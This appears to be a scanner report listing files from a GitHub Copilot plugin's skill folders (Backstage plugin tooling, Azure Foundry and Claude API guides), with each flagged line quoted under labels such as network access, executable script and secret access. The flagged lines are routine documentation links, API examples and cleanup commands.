harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/github-copilot/plugins/open-horizons-platform/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/cloud-design-patterns/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/create-llms/SKILL.md
- Network accessline 2
name: "create-llms" description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r - Network accessline 3
description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure - Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a - Network accessline 21
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 23
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 144
- [llms.txt specification](https://llmstxt.org/) - Network accessline 145
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-blueprint/SKILL.md
- Network accessline 62
- [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/) - Network accessline 63
- [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview) - Network accessline 64
- [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview) - Network accessline 65
- [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-framework-py-release/SKILL.md
- Network accessline 165
### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 166
- **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 183
**Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 184
- `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 242
Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${ - Network accessline 244
2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}` - Dangerous shell operationline 257
rm python/packages/openai/pyproject.toml.bak - Dangerous shell operationline 266
rm python/pyproject.toml.bak - Dangerous shell operationline 274
rm python/packages/ag-ui/pyproject.toml.bak - Dangerous shell operationline 288
rm "${file}.bak" - Dangerous shell operationline 308
rm "${file}.bak"
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-agent-sync/SKILL.md
- Network accessline 55
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 56
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 57
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 74
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 75
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 76
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 84
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 114
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 115
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 116
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 148
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 149
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 150
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 159
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 160
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 161
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-ai-operations/SKILL.md
- Network accessline 123
# Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 124
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Network accessline 129
# Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 130
curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/LICENSE.txt
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/csharp/claude-api/README.md
- Network accessline 48
**Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with ` - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/curl/examples.md
- Network accessline 1
# Claude API — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Network accessline 16
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 36
# Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \ - Network accessline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 102
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Network accessline 127
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 165
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Network accessline 190
# Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \ - Network accessline 191
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 216
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/curl/managed-agents.md
- Network accessline 1
# Managed Agents — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Network accessline 24
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 38
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 63
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 64
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 73
# 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 74
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 79
}' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 81
# Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 87
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 88
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 111
# 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 112
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 119
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 120
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 121
"url": "https://github.com/owner/repo", - Network accessline 133
# Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 134
# amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ "${HEADERS[@]}" \ - Network accessline 135
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 146
# Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 147
# An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ "${HEADERS[@]}" \ - Network accessline 148
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 152
# Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 153
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 165
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 182
curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \ - Network accessline 204
# Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 205
curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 208
# Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 209
curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 220
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 238
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 254
curl https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 263
curl https://api.anthropic.com/v1/sessions \ - Network accessline 272
curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 281
[Credential-related source omitted] - Access to secretsline 281
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Network accessline 296
# List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \ - Network accessline 297
[Credential-related source omitted] - Access to secretsline 297
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 302
# Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \ - Network accessline 303
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Network accessline 315
curl https://api.anthropic.com/v1/agents \ - Network accessline 324
# 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 325
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 329
"model": "claude-opus-5", "mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 330
"mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } ], - Network accessline 331
{ "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 339
# 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 340
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 356
curl -X POST https://api.anthropic.com/v1/agents \
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/go/claude-api/README.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/go/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Go SDK repo **or the relevant docs page** from `shared - Access to secretsline 23
[Credential-related source omitted] - Network accessline 96
} fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa - Network accessline 98
fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 390
Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL, Name: "github", URL: "https://api.githubcopilot.com/mcp/", - Network accessline 391
Name: "github", URL: "https://api.githubcopilot.com/mcp/", }}, - Network accessline 392
URL: "https://api.githubcopilot.com/mcp/", - Network accessline 449
OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{ Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 450
Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", AccessToken: "xoxp-...", - Network accessline 451
MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 453
ExpiresAt: anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)), Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 454
Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", ClientID: "1234567890.0987654321", - Network accessline 455
TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 511
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https:// - Network accessline 512
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/repo", MountPath: anthropic.String("/workspace/repo"), - Network accessline 513
URL: "https://github.com/org/repo", - Network accessline 530
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 531
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/frontend", MountPath: anthropic.String("/workspace/frontend"), - Network accessline 532
URL: "https://github.com/org/frontend", - Network accessline 538
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 539
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/backend", MountPath: anthropic.String("/workspace/backend"), - Network accessline 540
URL: "https://github.com/org/backend",
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/README.md
- Access to secretsline 66
[Credential-related source omitted] - Network accessline 191
DocumentBlockParam doc = DocumentBlockParam.builder() .source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) - Network accessline 192
.source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) .title("My Document") // optional - Network accessline 193
// or .source(UrlPdfSource.builder().url("https://...").build())
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/claude-api/tool-use.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/java/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Java SDK repo **or the relevant docs page** from `sh - Access to secretsline 21
[Credential-related source omitted] - Network accessline 76
.build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default - Network accessline 78
System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 301
.type(BetaManagedAgentsUrlMcpServerParams.Type.URL) .name("github") .url("https://api.githubcopilot.com/mcp/") - Network accessline 302
.name("github") .url("https://api.githubcopilot.com/mcp/") .build()) - Network accessline 303
.url("https://api.githubcopilot.com/mcp/") - Network accessline 356
.auth(BetaManagedAgentsMcpOAuthCreateParams.builder() .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 357
.type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") .accessToken("xoxp-...") - Network accessline 358
.mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 360
.expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z")) .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 361
.refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") .clientId("1234567890.0987654321") - Network accessline 362
.tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 402
.addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") - Network accessline 403
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") .mountPath("/workspace/repo") - Network accessline 404
.url("https://github.com/org/repo") - Network accessline 417
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") - Network accessline 418
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") .mountPath("/workspace/frontend") - Network accessline 419
.url("https://github.com/org/frontend") - Network accessline 423
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") - Network accessline 424
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") .mountPath("/workspace/backend") - Network accessline 425
.url("https://github.com/org/backend")
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/README.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/claude-api/tool-use.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/php/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the PHP SDK repo **or the relevant docs page** from `shar - Access to secretsline 18
[Credential-related source omitted] - Network accessline 65
); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 67
echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 207
> ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, web_fetch the `ant - Network accessline 212
// Raw cURL upload (canonical example from the apps source) - Network accessline 213
$csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [ - Network accessline 214
$ch = curl_init('https://api.anthropic.com/v1/files'); - Access to secretsline 219
[Credential-related source omitted] - Network accessline 313
type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/', - Network accessline 314
name: 'github', url: 'https://api.githubcopilot.com/mcp/', ), - Network accessline 315
url: 'https://api.githubcopilot.com/mcp/', - Network accessline 357
auth: [ 'type' => 'mcp_oauth', 'mcp_server_url' => 'https://mcp.slack.com/mcp', - Network accessline 358
[Credential-related source omitted] - Network accessline 359
'mcp_server_url' => 'https://mcp.slack.com/mcp', - Access to secretsline 360
[Credential-related source omitted] - Network accessline 361
'expires_at' => '2026-04-15T00:00:00Z', 'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Network accessline 362
'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', 'client_id' => '1234567890.0987654321', - Network accessline 363
'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Access to secretsline 369
[Credential-related source omitted] - Access to secretsline 381
[Credential-related source omitted] - Network accessline 403
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/repo', - Network accessline 404
'type' => 'github_repository', 'url' => 'https://github.com/org/repo', 'mount_path' => '/workspace/repo', - Network accessline 405
'url' => 'https://github.com/org/repo', - Network accessline 417
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', - Network accessline 418
'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', 'mount_path' => '/workspace/frontend', - Network accessline 419
'url' => 'https://github.com/org/frontend', - Network accessline 423
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/backend', - Network accessline 424
'type' => 'github_repository', 'url' => 'https://github.com/org/backend', 'mount_path' => '/workspace/backend', - Network accessline 425
'url' => 'https://github.com/org/backend',
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/README.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 53
`anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h - Network accessline 77
client = Anthropic( base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 78
base_url="http://my.test.server.example.com:8083", # or ANTHROPIC_BASE_URL env var - Network accessline 79
http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"), - Network accessline 178
"source": { "type": "url", "url": "https://example.com/image.png" - Network accessline 179
"type": "url", "url": "https://example.com/image.png" } - Network accessline 180
"url": "https://example.com/image.png"
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md
- Network accessline 18
**Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele - Network accessline 60
- **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`. - Network accessline 67
